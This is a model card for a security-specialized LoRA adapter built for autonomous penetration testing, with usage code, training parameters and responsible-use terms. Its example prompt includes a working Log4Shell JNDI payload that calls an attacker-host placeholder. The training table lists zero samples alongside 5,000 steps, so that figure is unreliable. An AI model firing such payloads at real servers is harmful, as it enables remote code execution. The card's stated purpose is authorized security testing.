vext-pentest-7b
A security-specialized language model by VEXT Labs Inc for autonomous penetration testing and vulnerability assessment.
Built as a LoRA adapter on Qwen/Qwen2.5-7B-Instruct, fine-tuned on real-world security testing data including tool output interpretation, attack planning, vulnerability classification, and remediation guidance.
What This Model Does
vext-pentest-7b is trained to:
- Interpret security tool output — Parse and reason about results from nuclei, dalfox, sqlmap, gobuster, naabu, and 20+ other security tools
- Plan attack strategies — Given a target scope and reconnaissance data, decide which tools to run and in what order
- Classify vulnerabilities — Distinguish true positives from false positives with high accuracy
- Generate remediation advice — Provide actionable fix recommendations for discovered vulnerabilities
Usage
With vLLM (Recommended for Production)
# Start vLLM with LoRA support
python -m vllm.entrypoints.openai.api_server \
--model Qwen/Qwen2.5-7B-Instruct \
--enable-lora \
--lora-modules vext-pentest-7b=/path/to/adapter \
--max-lora-rank 32
With PEFT + Transformers
from peft import PeftModel
from transformers import AutoModelForCausalLM, AutoTokenizer
base = AutoModelForCausalLM.from_pretrained("Qwen/Qwen2.5-7B-Instruct", torch_dtype="auto", device_map="auto")
model = PeftModel.from_pretrained(base, "VextLabs/vext-pentest-7b")
tokenizer = AutoTokenizer.from_pretrained("VextLabs/vext-pentest-7b")
messages = [
{"role": "system", "content": "You are a security testing agent. Analyze the following tool output and identify vulnerabilities."},
{"role": "user", "content": "Nuclei scan results:\n[critical] CVE-2021-44228 Log4Shell detected at /api/login\nPOC: ${jndi:ldap://attacker.com/a}"}
]
text = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True)
inputs = tokenizer(text, return_tensors="pt").to(model.device)
output = model.generate(**inputs, max_new_tokens=512)
print(tokenizer.decode(output[0], skip_special_tokens=True))
Training Details
| Parameter | Value |
|---|---|
| Base model | Qwen/Qwen2.5-7B-Instruct |
| Method | LoRA (Low-Rank Adaptation) |
| Rank | 32 |
| Alpha | 64 |
| Target modules | k_proj, v_proj, q_proj, down_proj, o_proj, gate_proj, up_proj |
| Training steps | 5,000 |
| Training samples | 0 |
| Final loss | 0.5114268112182617 |
| Precision | bfloat16 |
Training Data
Fine-tuned on proprietary security testing data generated by the VEXT platform, including:
- Tool execution traces (input parameters, raw output, parsed results)
- Attack planning decisions (which tool to use, why, expected outcomes)
- Vulnerability validation (true positive vs false positive classification)
- Multi-step attack chains (reconnaissance → enumeration → exploitation)
Data was collected from authorized testing against intentionally vulnerable applications (OWASP Juice Shop, DVWA, bWAPP, WebGoat, and others) and authorized bug bounty targets.
Responsible Use
This model is intended for authorized security testing only. It should be used:
- Within the scope of authorized penetration testing engagements
- Against applications you own or have explicit permission to test
- In CTF (Capture the Flag) competitions and security training environments
- For defensive security research and vulnerability assessment
Do not use this model for unauthorized access to computer systems.
About VEXT Labs Inc
VEXT Labs is building autonomous security testing agents that combine LLM reasoning with real security tools. Our agents run full penetration tests — from reconnaissance to exploitation to reporting — with human-level decision making.
Learn more at tryvext.com
License
Apache 2.0